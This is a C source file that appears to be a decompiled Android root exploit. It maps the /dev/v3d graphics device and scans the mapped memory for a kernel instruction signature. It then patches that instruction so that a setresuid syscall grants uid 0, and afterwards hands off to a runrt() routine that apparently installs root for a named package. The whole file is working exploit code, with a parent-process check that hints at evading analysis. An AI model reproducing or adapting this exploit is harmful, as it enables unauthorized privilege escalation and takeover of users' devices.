#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/utsname.h>
#include <unistd.h>
#include "util.h"

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

typedef enum __bool { false = 0, true = 1, } bool;
typedef unsigned int _DWORD;
typedef unsigned char _BYTE;
typedef unsigned int u4;

unsigned char byte_14890[6] = {0xFF, 0xEB, 0x00, 0x00, 0x50, 0xE3};
unsigned int dword_14898 = 0xE3750001;

int sub_B538(int a1, int a2)
{
    int v2; // r6@1
    int v3; // r7@1
    int i; // r4@1

    v2 = a1;
    v3 = a2 - 14;
    for ( i = 0; i < v3; ++i )
    {
        if ( !memcmp(v2 + i, byte_14890, 6) )
            return i;
    }
    return -1;
}

int sub_FE94(int a1)
{
    int v1; // r4@1
    int v2; // r5@4
    int result; // r0@4
    int v4; // [sp+4h] [bp-74h]@1
    int v5; // [sp+4h] [bp-74h]@2
    char v6[80]; // [sp+Ch] [bp-6Ch]@1
    int v7; // [sp+5Ch] [bp-1Ch]@1

    v4 = snprintf(v6, 80, "/acct/uid/%d/tasks", a1);
    v1 = fopen(v6, "w+");
    if ( !v1 && ((v6[v4 - 6] = 0, v5 = v4 - 6, mkdir(v6, 509) < 0) || (v6[v5] = 47, (v1 = fopen(v6, "w+")) == 0))
        || (putc_unlocked(48, v1), v2 = fclose(v1), result = 0, v2) )
        result = -*(_DWORD *)__errno();
    return result;
}

int sub_B7D4(int a1, int a2, int a3)
{
    int v3; // r5@1
    int v4; // r6@1
    int v5; // r4@1
    int ret;

    v3 = a1;
    v4 = a3;
    v5 = a2;
    sub_FE94(a2);
    ret = syscall(0xD0, v3, v5, v4);
    printff("getuid: %x\n", getuid());
    return ret;
}

//----- (00009B3C) --------------------------------------------------------
// int main(int argc, char **argv)
int exp_main()
{
    const char **v3; // r4@1
    int v4; // r6@1
    int v5; // r6@2
    int result; // r0@4
    int v7; // r3@5
    int v8; // r0@8
    u4 v9;
    int v10; // r7@10
    int v11; // r0@11
    int v13; // r4@11
    unsigned int v14; // r4@12
    signed int v15; // r0@13
    signed int v16; // r6@13
    int v17; // r6@15
    int v18; // r0@16
    signed int v19; // [sp+8h] [bp-60h]@1
    unsigned int v20; // [sp+8h] [bp-60h]@12
    int v21; // [sp+Ch] [bp-5Ch]@7
    bool v22; // [sp+10h] [bp-58h]@10
    char v23[20]; // [sp+24h] [bp-44h]@6
    char v24; // [sp+38h] [bp-30h]@19
    int v25; // [sp+4Ch] [bp-1Ch]@1

    v19 = 0x1000;
    v21 = open("/dev/v3d", 2);
    if (v21 == -1) {
        //exit(1);
        return 1;
    }
    //printf("start mmap\n");
    v10 = mmap(0x20000000, 0x8e000000, 3, 17, v21, 0);
    if (v10 == -1) {
        //printf("mmap failed\n");
        //exit(1);
        return 1;
    } else {
        printff("mmap v10: %x\n", v10);
        v14 = v10 + 0x78CEE000;
        v20 = v10 + 0x78CEE000 + v19 * v19;
        while ( 1 )
        {
            v15 = sub_B538(v14, v20 - v14);
            v16 = v15;
            if ( v15 == -1 )
            {
                printff("v15 == -1\n");
LABEL_25:
                v13 = -1;
                goto LABEL_26;
            }
            if ( !memcmp(v14 + v15 + 10, &dword_14898, 4) )
                break;
            v14 += v16 + 6;
            if ( v14 > v20 ) {
                printff("v14 > v20\n");
                goto LABEL_25;
            }
        }
        printff("memcmp successed\n");
        v17 = v14 + v16 + 2;
        *(_DWORD *)v17 = 0xE3500001;
        sleep(1);
        v18 = sub_B7D4(0, 0, 0);
        v13 = v18;
        if ( v18 )
            v13 = sub_B7D4(0, 0, 0);
        *(_DWORD *)v17 = 0xE3500000;
LABEL_26:
	/*
        munmap(v10, 0x8e000000);
  */
  			v13 += 0;  // stupid placeholder :)
    }
    close(v21);
/*    
    if ( !v13 )
        execv("/system/bin/sh", argv);
*/
    return 0;
}

////////////////////////////////////////////

//////////////////////////////////////////////////////////////////////////

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printff("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int ret = 0;
	
#ifndef DEBUG	
	check_parent_pid();
#endif

	if(argc < 4) return 1;
	
	exp_main();
	ret = (getuid() == 0);
	if(ret)
	{
		do_root(argc, argv);
	}
	return ret? 0:1;
}

